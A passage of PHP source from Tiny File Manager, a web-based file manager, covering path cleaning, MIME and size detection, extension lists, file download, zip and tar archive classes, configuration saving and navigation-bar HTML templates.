        $time2 = filemtime($f2);
        if ($time2 >= $time1 && $upd) {
            return false;
        }
    }
    $ok = copy($f1, $f2);
    if ($ok) {
        touch($f2, $time1);
    }
    return $ok;
}

/**
 * Get mime type
 * @param string $file_path
 * @return mixed|string
 */
function fm_get_mime_type($file_path)
{
    if (function_exists('finfo_open')) {
        $finfo = finfo_open(FILEINFO_MIME_TYPE);
        $mime = finfo_file($finfo, $file_path);
        finfo_close($finfo);
        return $mime;
    } elseif (function_exists('mime_content_type')) {
        return mime_content_type($file_path);
    } elseif (!stristr(ini_get('disable_functions'), 'shell_exec')) {
        $file = escapeshellarg($file_path);
        $mime = shell_exec('file -bi ' . $file);
        return $mime;
    } else {
        return '--';
    }
}

/**
 * HTTP Redirect
 * @param string $url
 * @param int $code
 */
function fm_redirect($url, $code = 302)
{
    header('Location: ' . $url, true, $code);
    exit;
}

/**
 * Path traversal prevention and clean the url
 * It replaces (consecutive) occurrences of / and \\ with whatever is in DIRECTORY_SEPARATOR, and processes /. and /.. fine.
 * @param $path
 * @return string
 */
function get_absolute_path($path)
{
    $path = str_replace(array('/', '\\'), DIRECTORY_SEPARATOR, $path);
    $parts = array_filter(explode(DIRECTORY_SEPARATOR, $path), 'strlen');
    $absolutes = array();
    foreach ($parts as $part) {
        if ('.' == $part) continue;
        if ('..' == $part) {
            array_pop($absolutes);
        } else {
            $absolutes[] = $part;
        }
    }
    return implode(DIRECTORY_SEPARATOR, $absolutes);
}

/**
 * Clean path
 * @param string $path
 * @return string
 */
function fm_clean_path($path, $trim = true)
{
    $path = $trim ? trim($path) : $path;
    $path = trim($path, '\\/');
    $path = str_replace(array('../', '..\\'), '', $path);
    $path =  get_absolute_path($path);
    if ($path == '..') {
        $path = '';
    }
    return str_replace('\\', '/', $path);
}

/**
 * Get parent path
 * @param string $path
 * @return bool|string
 */
function fm_get_parent_path($path)
{
    $path = fm_clean_path($path);
    if ($path != '') {
        $array = explode('/', $path);
        if (count($array) > 1) {
            $array = array_slice($array, 0, -1);
            return implode('/', $array);
        }
        return '';
    }
    return false;
}

function fm_get_display_path($file_path)
{
    global $path_display_mode, $root_path, $root_url;
    switch ($path_display_mode) {
        case 'relative':
            return array(
                'label' => 'Path',
                'path' => fm_enc(fm_convert_win(str_replace($root_path, '', $file_path)))
            );
        case 'host':
            $relative_path = str_replace($root_path, '', $file_path);
            return array(
                'label' => 'Host Path',
                'path' => fm_enc(fm_convert_win('/' . $root_url . '/' . ltrim(str_replace('\\', '/', $relative_path), '/')))
            );
        case 'full':
        default:
            return array(
                'label' => 'Full Path',
                'path' => fm_enc(fm_convert_win($file_path))
            );
    }
}

/**
 * Check file is in exclude list
 * @param string $name The name of the file/folder
 * @param string $path The full path of the file/folder
 * @return bool
 */
function fm_is_exclude_items($name, $path)
{
    $ext = strtolower(pathinfo($name, PATHINFO_EXTENSION));
    if (isset($exclude_items) and sizeof($exclude_items)) {
        unset($exclude_items);
    }

    $exclude_items = FM_EXCLUDE_ITEMS;
    if (version_compare(PHP_VERSION, '7.0.0', '<')) {
        $exclude_items = unserialize($exclude_items);
    }
    if (!in_array($name, $exclude_items) && !in_array("*.$ext", $exclude_items) && !in_array($path, $exclude_items)) {
        return true;
    }
    return false;
}

/**
 * get language translations from json file
 * @param int $tr
 * @return array
 */
function fm_get_translations($tr)
{
    try {
        $content = @file_get_contents('translation.json');
        if ($content !== FALSE) {
            $lng = json_decode($content, TRUE);
            global $lang_list;
            foreach ($lng["language"] as $key => $value) {
                $code = $value["code"];
                $lang_list[$code] = $value["name"];
                if ($tr)
                    $tr[$code] = $value["translation"];
            }
            return $tr;
        }
    } catch (Exception $e) {
        echo $e;
    }
}

/**
 * @param string $file
 * Recover all file sizes larger than > 2GB.
 * Works on php 32bits and 64bits and supports linux
 * @return int|string
 */
function fm_get_size($file)
{
    static $iswin = null;
    static $isdarwin = null;
    static $exec_works = null;

    // Set static variables once
    if ($iswin === null) {
        $iswin = strtoupper(substr(PHP_OS, 0, 3)) === 'WIN';
        $isdarwin = strtoupper(PHP_OS) === 'DARWIN';
        $exec_works = function_exists('exec') && !ini_get('safe_mode') && @exec('echo EXEC') === 'EXEC';
    }

    // Attempt shell command if exec is available
    if ($exec_works) {
        $arg = escapeshellarg($file);
        $cmd = $iswin ? "for %F in (\"$file\") do @echo %~zF" : ($isdarwin ? "stat -f%z $arg" : "stat -c%s $arg");
        @exec($cmd, $output);

        if (!empty($output) && ctype_digit($size = trim(implode("\n", $output)))) {
            return $size;
        }
    }

    // Attempt Windows COM interface for Windows systems
    if ($iswin && class_exists('COM')) {
        try {
            $fsobj = new COM('Scripting.FileSystemObject');
            $f = $fsobj->GetFile(realpath($file));
            if (ctype_digit($size = $f->Size)) {
                return $size;
            }
        } catch (Exception $e) {
            // COM failed, fallback to filesize
        }
    }

    // Default to PHP's filesize function
    return filesize($file);
}


/**
 * Get nice filesize
 * @param int $size
 * @return string
 */
function fm_get_filesize($size)
{
    $size = (float) $size;
    $units = array('B', 'KB', 'MB', 'GB', 'TB', 'PB', 'EB', 'ZB', 'YB');
    $power = ($size > 0) ? floor(log($size, 1024)) : 0;
    $power = ($power > (count($units) - 1)) ? (count($units) - 1) : $power;
    return sprintf('%s %s', round($size / pow(1024, $power), 2), $units[$power]);
}

/**
 * Get info about zip archive
 * @param string $path
 * @return array|bool
 */
function fm_get_zif_info($path, $ext)
{
    if ($ext == 'zip' && function_exists('zip_open')) {
        $arch = @zip_open($path);
        if ($arch) {
            $filenames = array();
            while ($zip_entry = @zip_read($arch)) {
                $zip_name = @zip_entry_name($zip_entry);
                $zip_folder = substr($zip_name, -1) == '/';
                $filenames[] = array(
                    'name' => $zip_name,
                    'filesize' => @zip_entry_filesize($zip_entry),
                    'compressed_size' => @zip_entry_compressedsize($zip_entry),
                    'folder' => $zip_folder
                    //'compression_method' => zip_entry_compressionmethod($zip_entry),
                );
            }
            @zip_close($arch);
            return $filenames;
        }
    } elseif ($ext == 'tar' && class_exists('PharData')) {
        $archive = new PharData($path);
        $filenames = array();
        foreach (new RecursiveIteratorIterator($archive) as $file) {
            $parent_info = $file->getPathInfo();
            $zip_name = str_replace("phar://" . $path, '', $file->getPathName());
            $zip_name = substr($zip_name, ($pos = strpos($zip_name, '/')) !== false ? $pos + 1 : 0);
            $zip_folder = $parent_info->getFileName();
            $zip_info = new SplFileInfo($file);
            $filenames[] = array(
                'name' => $zip_name,
                'filesize' => $zip_info->getSize(),
                'compressed_size' => $file->getCompressedSize(),
                'folder' => $zip_folder
            );
        }
        return $filenames;
    }
    return false;
}

/**
 * Encode html entities
 * @param string $text
 * @return string
 */
function fm_enc($text)
{
    return htmlspecialchars($text, ENT_QUOTES, 'UTF-8');
}

/**
 * Prevent XSS attacks
 * @param string $text
 * @return string
 */
function fm_isvalid_filename($text)
{
    return (strpbrk($text, '/?%*:|"<>') === FALSE) ? true : false;
}

/**
 * Save message in session
 * @param string $msg
 * @param string $status
 */
function fm_set_msg($msg, $status = 'ok')
{
    $_SESSION[FM_SESSION_ID]['message'] = $msg;
    $_SESSION[FM_SESSION_ID]['status'] = $status;
}

/**
 * Check if string is in UTF-8
 * @param string $string
 * @return int
 */
function fm_is_utf8($string)
{
    return preg_match('//u', $string);
}

/**
 * Convert file name to UTF-8 in Windows
 * @param string $filename
 * @return string
 */
function fm_convert_win($filename)
{
    if (FM_IS_WIN && function_exists('iconv')) {
        $filename = iconv(FM_ICONV_INPUT_ENC, 'UTF-8//IGNORE', $filename);
    }
    return $filename;
}

/**
 * @param $obj
 * @return array
 */
function fm_object_to_array($obj)
{
    if (!is_object($obj) && !is_array($obj)) {
        return $obj;
    }
    if (is_object($obj)) {
        $obj = get_object_vars($obj);
    }
    return array_map('fm_object_to_array', $obj);
}

/**
 * Get CSS classname for file
 * @param string $path
 * @return string
 */
function fm_get_file_icon_class($path)
{
    // get extension
    $ext = strtolower(pathinfo($path, PATHINFO_EXTENSION));

    switch ($ext) {
        case 'ico':
        case 'gif':
        case 'jpg':
        case 'jpeg':
        case 'jpc':
        case 'jp2':
        case 'jpx':
        case 'xbm':
        case 'wbmp':
        case 'png':
        case 'bmp':
        case 'tif':
        case 'tiff':
        case 'webp':
        case 'avif':
        case 'svg':
            $img = 'fa fa-picture-o';
            break;
        case 'passwd':
        case 'ftpquota':
        case 'sql':
        case 'js':
        case 'ts':
        case 'jsx':
        case 'tsx':
        case 'hbs':
        case 'json':
        case 'sh':
        case 'config':
        case 'twig':
        case 'tpl':
        case 'md':
        case 'gitignore':
        case 'c':
        case 'cpp':
        case 'cs':
        case 'py':
        case 'rs':
        case 'map':
        case 'lock':
        case 'dtd':
        case 'ps1':
            $img = 'fa fa-file-code-o';
            break;
        case 'txt':
        case 'ini':
        case 'conf':
        case 'log':
        case 'htaccess':
        case 'yaml':
        case 'yml':
        case 'toml':
        case 'tmp':
        case 'top':
        case 'bot':
        case 'dat':
        case 'bak':
        case 'htpasswd':
        case 'pl':
            $img = 'fa fa-file-text-o';
            break;
        case 'css':
        case 'less':
        case 'sass':
        case 'scss':
            $img = 'fa fa-css3';
            break;
        case 'bz2':
        case 'tbz2':
        case 'tbz':
        case 'zip':
        case 'rar':
        case 'gz':
        case 'tgz':
        case 'tar':
        case '7z':
        case 'xz':
        case 'txz':
        case 'zst':
        case 'tzst':
            $img = 'fa fa-file-archive-o';
            break;
        case 'php':
        case 'php4':
        case 'php5':
        case 'phps':
        case 'phtml':
            $img = 'fa fa-code';
            break;
        case 'htm':
        case 'html':
        case 'shtml':
        case 'xhtml':
            $img = 'fa fa-html5';
            break;
        case 'xml':
        case 'xsl':
            $img = 'fa fa-file-excel-o';
            break;
        case 'wav':
        case 'mp3':
        case 'mp2':
        case 'm4a':
        case 'aac':
        case 'ogg':
        case 'oga':
        case 'wma':
        case 'mka':
        case 'flac':
        case 'ac3':
        case 'tds':
            $img = 'fa fa-music';
            break;
        case 'm3u':
        case 'm3u8':
        case 'pls':
        case 'cue':
        case 'xspf':
            $img = 'fa fa-headphones';
            break;
        case 'avi':
        case 'mpg':
        case 'mpeg':
        case 'mp4':
        case 'm4v':
        case 'flv':
        case 'f4v':
        case 'ogm':
        case 'ogv':
        case 'mov':
        case 'mkv':
        case '3gp':
        case 'asf':
        case 'wmv':
        case 'webm':
            $img = 'fa fa-file-video-o';
            break;
        case 'eml':
        case 'msg':
            $img = 'fa fa-envelope-o';
            break;
        case 'xls':
        case 'xlsx':
        case 'ods':
            $img = 'fa fa-file-excel-o';
            break;
        case 'csv':
            $img = 'fa fa-file-text-o';
            break;
        case 'bak':
        case 'swp':
            $img = 'fa fa-clipboard';
            break;
        case 'doc':
        case 'docx':
        case 'odt':
            $img = 'fa fa-file-word-o';
            break;
        case 'ppt':
        case 'pptx':
            $img = 'fa fa-file-powerpoint-o';
            break;
        case 'ttf':
        case 'ttc':
        case 'otf':
        case 'woff':
        case 'woff2':
        case 'eot':
        case 'fon':
            $img = 'fa fa-font';
            break;
        case 'pdf':
            $img = 'fa fa-file-pdf-o';
            break;
        case 'psd':
        case 'ai':
        case 'eps':
        case 'fla':
        case 'swf':
            $img = 'fa fa-file-image-o';
            break;
        case 'exe':
        case 'msi':
            $img = 'fa fa-file-o';
            break;
        case 'bat':
            $img = 'fa fa-terminal';
            break;
        default:
            $img = 'fa fa-info-circle';
    }

    return $img;
}

/**
 * Get image files extensions
 * @return array
 */
function fm_get_image_exts()
{
    return array('ico', 'gif', 'jpg', 'jpeg', 'jpc', 'jp2', 'jpx', 'xbm', 'wbmp', 'png', 'bmp', 'tif', 'tiff', 'psd', 'svg', 'webp', 'avif');
}

/**
 * Get video files extensions
 * @return array
 */
function fm_get_video_exts()
{
    return array('avi', 'webm', 'wmv', 'mp4', 'm4v', 'ogm', 'ogv', 'mov', 'mkv');
}

/**
 * Get audio files extensions
 * @return array
 */
function fm_get_audio_exts()
{
    return array('wav', 'mp3', 'ogg', 'm4a');
}

/**
 * Get text file extensions
 * @return array
 */
function fm_get_text_exts()
{
    return array(
        'txt',
        'css',
        'ini',
        'conf',
        'log',
        'htaccess',
        'passwd',
        'ftpquota',
        'sql',
        'js',
        'ts',
        'jsx',
        'tsx',
        'mjs',
        'json',
        'sh',
        'config',
        'php',
        'php4',
        'php5',
        'phps',
        'phtml',
        'htm',
        'html',
        'shtml',
        'xhtml',
        'xml',
        'xsl',
        'm3u',
        'm3u8',
        'pls',
        'cue',
        'bash',
        'vue',
        'eml',
        'msg',
        'csv',
        'bat',
        'twig',
        'tpl',
        'md',
        'gitignore',
        'less',
        'sass',
        'scss',
        'c',
        'cpp',
        'cs',
        'py',
        'go',
        'zsh',
        'swift',
        'map',
        'lock',
        'dtd',
        'svg',
        'asp',
        'aspx',
        'asx',
        'asmx',
        'ashx',
        'jsp',
        'jspx',
        'cgi',
        'dockerfile',
        'ruby',
        'yml',
        'yaml',
        'toml',
        'vhost',
        'scpt',
        'applescript',
        'csx',
        'cshtml',
        'c++',
        'coffee',
        'cfm',
        'rb',
        'graphql',
        'mustache',
        'jinja',
        'http',
        'handlebars',
        'java',
        'es',
        'es6',
        'markdown',
        'wiki',
        'tmp',
        'top',
        'bot',
        'dat',
        'bak',
        'htpasswd',
        'pl',
        'ps1'
    );
}

/**
 * Get mime types of text files
 * @return array
 */
function fm_get_text_mimes()
{
    return array(
        'application/xml',
        'application/javascript',
        'application/x-javascript',
        'image/svg+xml',
        'message/rfc822',
        'application/json',
    );
}

/**
 * Get file names of text files w/o extensions
 * @return array
 */
function fm_get_text_names()
{
    return array(
        'license',
        'readme',
        'authors',
        'contributors',
        'changelog',
    );
}

/**
 * Get online docs viewer supported files extensions
 * @return array
 */
function fm_get_onlineViewer_exts()
{
    return array('doc', 'docx', 'xls', 'xlsx', 'pdf', 'ppt', 'pptx', 'ai', 'psd', 'dxf', 'xps', 'rar', 'odt', 'ods');
}

/**
 * It returns the mime type of a file based on its extension.
 * @param extension The file extension of the file you want to get the mime type for.
 * @return string|string[] The mime type of the file.
 */
function fm_get_file_mimes($extension)
{
    $fileTypes['swf'] = 'application/x-shockwave-flash';
    $fileTypes['pdf'] = 'application/pdf';
    $fileTypes['exe'] = 'application/octet-stream';
    $fileTypes['zip'] = 'application/zip';
    $fileTypes['doc'] = 'application/msword';
    $fileTypes['xls'] = 'application/vnd.ms-excel';
    $fileTypes['ppt'] = 'application/vnd.ms-powerpoint';
    $fileTypes['gif'] = 'image/gif';
    $fileTypes['png'] = 'image/png';
    $fileTypes['jpeg'] = 'image/jpg';
    $fileTypes['jpg'] = 'image/jpg';
    $fileTypes['webp'] = 'image/webp';
    $fileTypes['avif'] = 'image/avif';
    $fileTypes['rar'] = 'application/rar';

    $fileTypes['ra'] = 'audio/x-pn-realaudio';
    $fileTypes['ram'] = 'audio/x-pn-realaudio';
    $fileTypes['ogg'] = 'audio/x-pn-realaudio';

    $fileTypes['wav'] = 'video/x-msvideo';
    $fileTypes['wmv'] = 'video/x-msvideo';
    $fileTypes['avi'] = 'video/x-msvideo';
    $fileTypes['asf'] = 'video/x-msvideo';
    $fileTypes['divx'] = 'video/x-msvideo';

    $fileTypes['mp3'] = 'audio/mpeg';
    $fileTypes['mp4'] = 'audio/mpeg';
    $fileTypes['mpeg'] = 'video/mpeg';
    $fileTypes['mpg'] = 'video/mpeg';
    $fileTypes['mpe'] = 'video/mpeg';
    $fileTypes['mov'] = 'video/quicktime';
    $fileTypes['swf'] = 'video/quicktime';
    $fileTypes['3gp'] = 'video/quicktime';
    $fileTypes['m4a'] = 'video/quicktime';
    $fileTypes['aac'] = 'video/quicktime';
    $fileTypes['m3u'] = 'video/quicktime';

    $fileTypes['php'] = ['application/x-php'];
    $fileTypes['html'] = ['text/html'];
    $fileTypes['txt'] = ['text/plain'];
    //Unknown mime-types should be 'application/octet-stream'
    if (empty($fileTypes[$extension])) {
        $fileTypes[$extension] = ['application/octet-stream'];
    }
    return $fileTypes[$extension];
}

/**
 * This function scans the files and folder recursively, and return matching files
 * @param string $dir
 * @param string $filter
 * @return array|null
 */
function scan($dir = '', $filter = '')
{
    $path = FM_ROOT_PATH . '/' . $dir;
    if ($path) {
        $ite = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($path));
        $rii = new RegexIterator($ite, "/(" . $filter . ")/i");

        $files = array();
        foreach ($rii as $file) {
            if (!$file->isDir()) {
                $fileName = $file->getFilename();
                $location = str_replace(FM_ROOT_PATH, '', $file->getPath());
                $files[] = array(
                    "name" => $fileName,
                    "type" => "file",
                    "path" => $location,
                );
            }
        }
        return $files;
    }
}

/**
 * Parameters: downloadFile(File Location, File Name,
 * max speed, is streaming
 * If streaming - videos will show as videos, images as images
 * instead of download prompt
 * https://stackoverflow.com/a/13821992/1164642
 */
function fm_download_file($fileLocation, $fileName, $chunkSize  = 1024)
{
    if (connection_status() != 0)
        return (false);
    $extension = pathinfo($fileName, PATHINFO_EXTENSION);

    $contentType = fm_get_file_mimes($extension);

    if (is_array($contentType)) {
        $contentType = implode(' ', $contentType);
    }

    $size = filesize($fileLocation);

    if ($size == 0) {
        fm_set_msg(lng('Zero byte file! Aborting download'), 'error');
        $FM_PATH = FM_PATH;
        fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));

        return (false);
    }

    @ini_set('magic_quotes_runtime', 0);
    $fp = fopen("$fileLocation", "rb");

    if ($fp === false) {
        fm_set_msg(lng('Cannot open file! Aborting download'), 'error');
        $FM_PATH = FM_PATH;
        fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
        return (false);
    }

    // headers
    header('Content-Description: File Transfer');
    header('Expires: 0');
    header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
    header('Pragma: public');
    header("Content-Transfer-Encoding: binary");
    header("Content-Type: $contentType");

    $contentDisposition = 'attachment';

    if (strstr($_SERVER['HTTP_USER_AGENT'], "MSIE")) {
        $fileName = preg_replace('/\./', '%2e', $fileName, substr_count($fileName, '.') - 1);
        header("Content-Disposition: $contentDisposition;filename=\"$fileName\"");
    } else {
        header("Content-Disposition: $contentDisposition;filename=\"$fileName\"");
    }

    header("Accept-Ranges: bytes");
    $range = 0;

    if (isset($_SERVER['HTTP_RANGE'])) {
        list($a, $range) = explode("=", $_SERVER['HTTP_RANGE']);
        str_replace($range, "-", $range);
        $size2 = $size - 1;
        $new_length = $size - $range;
        header("HTTP/1.1 206 Partial Content");
        header("Content-Length: $new_length");
        header("Content-Range: bytes $range$size2/$size");
    } else {
        $size2 = $size - 1;
        header("Content-Range: bytes 0-$size2/$size");
        header("Content-Length: " . $size);
    }
    $fileLocation = realpath($fileLocation);
    while (ob_get_level()) ob_end_clean();
    readfile($fileLocation);

    fclose($fp);

    return ((connection_status() == 0) and !connection_aborted());
}

/**
 * Class to work with zip files (using ZipArchive)
 */
class FM_Zipper
{
    private $zip;

    public function __construct()
    {
        $this->zip = new ZipArchive();
    }

    /**
     * Create archive with name $filename and files $files (RELATIVE PATHS!)
     * @param string $filename
     * @param array|string $files
     * @return bool
     */
    public function create($filename, $files)
    {
        $res = $this->zip->open($filename, ZipArchive::CREATE);
        if ($res !== true) {
            return false;
        }
        if (is_array($files)) {
            foreach ($files as $f) {
                $f = fm_clean_path($f);
                if (!$this->addFileOrDir($f)) {
                    $this->zip->close();
                    return false;
                }
            }
            $this->zip->close();
            return true;
        } else {
            if ($this->addFileOrDir($files)) {
                $this->zip->close();
                return true;
            }
            return false;
        }
    }

    /**
     * Extract archive $filename to folder $path (RELATIVE OR ABSOLUTE PATHS)
     * @param string $filename
     * @param string $path
     * @return bool
     */
    public function unzip($filename, $path)
    {
        $res = $this->zip->open($filename);
        if ($res !== true) {
            return false;
        }
        if ($this->zip->extractTo($path)) {
            $this->zip->close();
            return true;
        }
        return false;
    }

    /**
     * Add file/folder to archive
     * @param string $filename
     * @return bool
     */
    private function addFileOrDir($filename)
    {
        if (is_file($filename)) {
            return $this->zip->addFile($filename);
        } elseif (is_dir($filename)) {
            return $this->addDir($filename);
        }
        return false;
    }

    /**
     * Add folder recursively
     * @param string $path
     * @return bool
     */
    private function addDir($path)
    {
        if (!$this->zip->addEmptyDir($path)) {
            return false;
        }
        $objects = scandir($path);
        if (is_array($objects)) {
            foreach ($objects as $file) {
                if ($file != '.' && $file != '..') {
                    if (is_dir($path . '/' . $file)) {
                        if (!$this->addDir($path . '/' . $file)) {
                            return false;
                        }
                    } elseif (is_file($path . '/' . $file)) {
                        if (!$this->zip->addFile($path . '/' . $file)) {
                            return false;
                        }
                    }
                }
            }
            return true;
        }
        return false;
    }
}

/**
 * Class to work with Tar files (using PharData)
 */
class FM_Zipper_Tar
{
    private $tar;

    public function __construct()
    {
        $this->tar = null;
    }

    /**
     * Create archive with name $filename and files $files (RELATIVE PATHS!)
     * @param string $filename
     * @param array|string $files
     * @return bool
     */
    public function create($filename, $files)
    {
        $this->tar = new PharData($filename);
        if (is_array($files)) {
            foreach ($files as $f) {
                $f = fm_clean_path($f);
                if (!$this->addFileOrDir($f)) {
                    return false;
                }
            }
            return true;
        } else {
            if ($this->addFileOrDir($files)) {
                return true;
            }
            return false;
        }
    }

    /**
     * Extract archive $filename to folder $path (RELATIVE OR ABSOLUTE PATHS)
     * @param string $filename
     * @param string $path
     * @return bool
     */
    public function unzip($filename, $path)
    {
        $res = $this->tar->open($filename);
        if ($res !== true) {
            return false;
        }
        if ($this->tar->extractTo($path)) {
            return true;
        }
        return false;
    }

    /**
     * Add file/folder to archive
     * @param string $filename
     * @return bool
     */
    private function addFileOrDir($filename)
    {
        if (is_file($filename)) {
            try {
                $this->tar->addFile($filename);
                return true;
            } catch (Exception $e) {
                return false;
            }
        } elseif (is_dir($filename)) {
            return $this->addDir($filename);
        }
        return false;
    }

    /**
     * Add folder recursively
     * @param string $path
     * @return bool
     */
    private function addDir($path)
    {
        $objects = scandir($path);
        if (is_array($objects)) {
            foreach ($objects as $file) {
                if ($file != '.' && $file != '..') {
                    if (is_dir($path . '/' . $file)) {
                        if (!$this->addDir($path . '/' . $file)) {
                            return false;
                        }
                    } elseif (is_file($path . '/' . $file)) {
                        try {
                            $this->tar->addFile($path . '/' . $file);
                        } catch (Exception $e) {
                            return false;
                        }
                    }
                }
            }
            return true;
        }
        return false;
    }
}

/**
 * Save Configuration
 */
class FM_Config
{
    var $data;

    function __construct()
    {
        global $root_path, $root_url, $CONFIG;
        $fm_url = $root_url . $_SERVER["PHP_SELF"];
        $this->data = array(
            'lang' => 'en',
            'error_reporting' => true,
            'show_hidden' => true
        );
        $data = false;
        if (strlen($CONFIG)) {
            $data = fm_object_to_array(json_decode($CONFIG));
        } else {
            $msg = 'Tiny File Manager<br>Error: Cannot load configuration';
            if (substr($fm_url, -1) == '/') {
                $fm_url = rtrim($fm_url, '/');
                $msg .= '<br>';
                $msg .= '<br>Seems like you have a trailing slash on the URL.';
                $msg .= '<br>Try this link: <a href="' . $fm_url . '">' . $fm_url . '</a>';
            }
            die($msg);
        }
        if (is_array($data) && count($data)) $this->data = $data;
        else $this->save();
    }

    function save()
    {
        global $config_file;
        $fm_file = is_readable($config_file) ? $config_file : __FILE__;
        $var_name = '$CONFIG';
        $var_value = var_export(json_encode($this->data), true);
        $config_string = "<?php" . chr(13) . chr(10) . "//Default Configuration" . chr(13) . chr(10) . "$var_name = $var_value;" . chr(13) . chr(10);
        if (is_writable($fm_file)) {
            $lines = file($fm_file);
            if ($fh = @fopen($fm_file, "w")) {
                @fputs($fh, $config_string, strlen($config_string));
                for ($x = 3; $x < count($lines); $x++) {
                    @fputs($fh, $lines[$x], strlen($lines[$x]));
                }
                @fclose($fh);
            }
        }
    }
}

//--- Templates Functions ---

/**
 * Show nav block
 * @param string $path
 */
function fm_show_nav_path($path)
{
    global $lang, $sticky_navbar, $editFile;
    $isStickyNavBar = $sticky_navbar ? 'fixed-top' : '';
?>
    <nav class="navbar navbar-expand-lg mb-4 main-nav <?php echo $isStickyNavBar ?> bg-body-tertiary" data-bs-theme="<?php echo FM_THEME; ?>">
        <a class="navbar-brand"> <?php echo lng('AppTitle') ?> </a>
        <button class="navbar-toggler" type="button" data-bs-toggle="collapse" data-bs-target="#navbarSupportedContent" aria-controls="navbarSupportedContent" aria-expanded="false" aria-label="Toggle navigation">
            <span class="navbar-toggler-icon"></span>
        </button>
        <div class="collapse navbar-collapse" id="navbarSupportedContent">

            <?php
            $path = fm_clean_path($path);
            $root_url = "<a href='?p='><i class='fa fa-home' aria-hidden='true' title='" . FM_ROOT_PATH . "'></i></a>";
            $sep = '<i class="bread-crumb"> / </i>';
            if ($path != '') {
                $exploded = explode('/', $path);
                $count = count($exploded);
                $array = array();
                $parent = '';
                for ($i = 0; $i < $count; $i++) {
                    $parent = trim($parent . '/' . $exploded[$i], '/');
                    $parent_enc = urlencode($parent);
                    $array[] = "<a href='?p={$parent_enc}'>" . fm_enc(fm_convert_win($exploded[$i])) . "</a>";
                }
                $root_url .= $sep . implode($sep, $array);
            }
            echo '<div class="col-xs-6 col-sm-5">' . $root_url . $editFile . '</div>';
            ?>

            <div class="col-xs-6 col-sm-7">
                <ul class="navbar-nav justify-content-end" data-bs-theme="<?php echo FM_THEME; ?>">
                    <li class="nav-item mr-2">
                        <div class="input-group input-group-sm mr-1" style="margin-top:4px;">
                            <input type="text" class="form-control" placeholder="<?php echo lng('Search') ?>" aria-label="<?php echo lng('Search') ?>" aria-describedby="search-addon2" id="search-addon">
                            <div class="input-group-append">
                                <span class="input-group-text brl-0 brr-0" id="search-addon2"><i class="fa fa-search"></i></span>
                            </div>
                            <div class="input-group-append btn-group">
                                <span class="input-group-text dropdown-toggle brl-0" data-bs-toggle="dropdown" aria-haspopup="true" aria-expanded="false"></span>
                                <div class="dropdown-menu dropdown-menu-right">
                                    <a class="dropdown-item" href="<?php echo $path2 = $path ? $path : '.'; ?>" id="js-search-modal" data-bs-toggle="modal" data-bs-target="#searchModal"><?php echo lng('Advanced Search') ?></a>
                                </div>
                            </div>
                        </div>
                    </li>
                    <?php if (!FM_READONLY): ?>
                        <li class="nav-item">
                            <a title="<?php echo lng('Upload') ?>" class="nav-link" href="?p=<?php echo urlencode(FM_PATH) ?>&amp;upload"><i class="fa fa-cloud-upload" aria-hidden="true"></i> <?php echo lng('Upload') ?></a>
                        </li>
                        <li class="nav-item">
                            <a title="<?php echo lng('NewItem') ?>" class="nav-link" href="#createNewItem" data-bs-toggle="modal" data-bs-target="#createNewItem"><i class="fa fa-plus-square"></i> <?php echo lng('NewItem') ?></a>
                        </li>
                    <?php endif; ?>
                    <?php if (FM_USE_AUTH): ?>
                        <li class="nav-item avatar dropdown">
                            <a class="nav-link dropdown-toggle" id="navbarDropdownMenuLink-5" data-bs-toggle="dropdown" aria-expanded="false">
                                <i class="fa fa-user-circle"></i>
                            </a>

                            <div class="dropdown-menu dropdown-menu-end text-small shadow" aria-labelledby="navbarDropdownMenuLink-5" data-bs-theme="<?php echo FM_THEME; ?>">
                                <?php if (!FM_READONLY): ?>
                                    <a title="<?php echo lng('Settings') ?>" class="dropdown-item nav-link" href="?p=<?php echo urlencode(FM_PATH) ?>&amp;settings=1"><i class="fa fa-cog" aria-hidden="true"></i> <?php echo lng('Settings') ?></a>
                                <?php endif ?>
                                <a title="<?php echo lng('Help') ?>" class="dropdown-item nav-link" href="?p=<?php echo urlencode(FM_PATH) ?>&amp;help=2"><i class="fa fa-exclamation-circle" aria-hidden="true"></i> <?php echo lng('Help') ?></a>
                                <a title="<?php echo lng('Logout') ?>" class="dropdown-item nav-link" href="?logout=1"><i class="fa fa-sign-out" aria-hidden="true"></i> <?php echo lng('Logout') ?></a>
                            </div>
                        </li>
                    <?php else: ?>
                        <?php if (!FM_READONLY): ?>
                            <li class="nav-item">
                                <a title="<?php echo lng('Settings') ?>" class="dropdown-item nav-link" href="?p=<?php echo urlencode(FM_PATH) ?>&amp;settings=1"><i class="fa fa-cog" aria-hidden="true"></i> <?php echo lng('Settings') ?></a>
                            </li>
                        <?php endif; ?>
                    <?php endif; ?>
                </ul>
            </div>
        </div>
    </nav>
<?php
}

/**
 * Show alert message from session
 */
function fm_show_message()
{
    if (isset($_SESSION[FM_SESSION_ID]['message'])) {
        $class = isset($_SESSION[FM_SESSION_ID]['status']) ? $_SESSION[FM_SESSION_ID]['status'] : 'ok';
        echo '<p class="message ' . $class . '">' . $_SESSION[FM_SESSION_ID]['message'] . '</p>';
        unset($_SESSION[FM_SESSION_ID]['message']);
        unset($_SESSION[FM_SESSION_ID]['status']);
    }
}

/**
 * Show page header in Login Form
 */
function fm_show_header_login()
{
    header("Content-Type: text/html; charset=utf-8");
    header("Expires: Sat, 26 Jul 1997 05:00:00 GMT");
    header("Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0");
    header("Pragma: no-cache");

    global $favicon_path;
?>
    <!DOCTYPE html>
    <html lang="en" data-bs-theme="<?php echo (FM_THEME == "dark") ? 'dark' : 'light' ?>">

    <head>
        <meta charset="utf-8">
        <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
        <meta name="description" content="Web based File Manager in PHP, Manage your files efficiently and easily with Tiny File Manager">
        <meta name="author" content="CCP Programmers">
        <meta name="robots" content="noindex, nofollow">
        <meta name="googlebot" content="noindex">
        <?php if ($favicon_path) {
            echo '<link rel="icon" href="' . fm_enc($favicon_path) . '" type="image/png">';
        } ?>
        <title><?php echo fm_enc(APP_TITLE) ?></title>
        <?php print_external('pre-jsdelivr'); ?>
        <?php print_external('css-bootstrap'); ?>
        <style>
            body.fm-login-page {
                background-color: #f7f9fb;
                font-size: 14px;
                background-color: #f7f9fb;
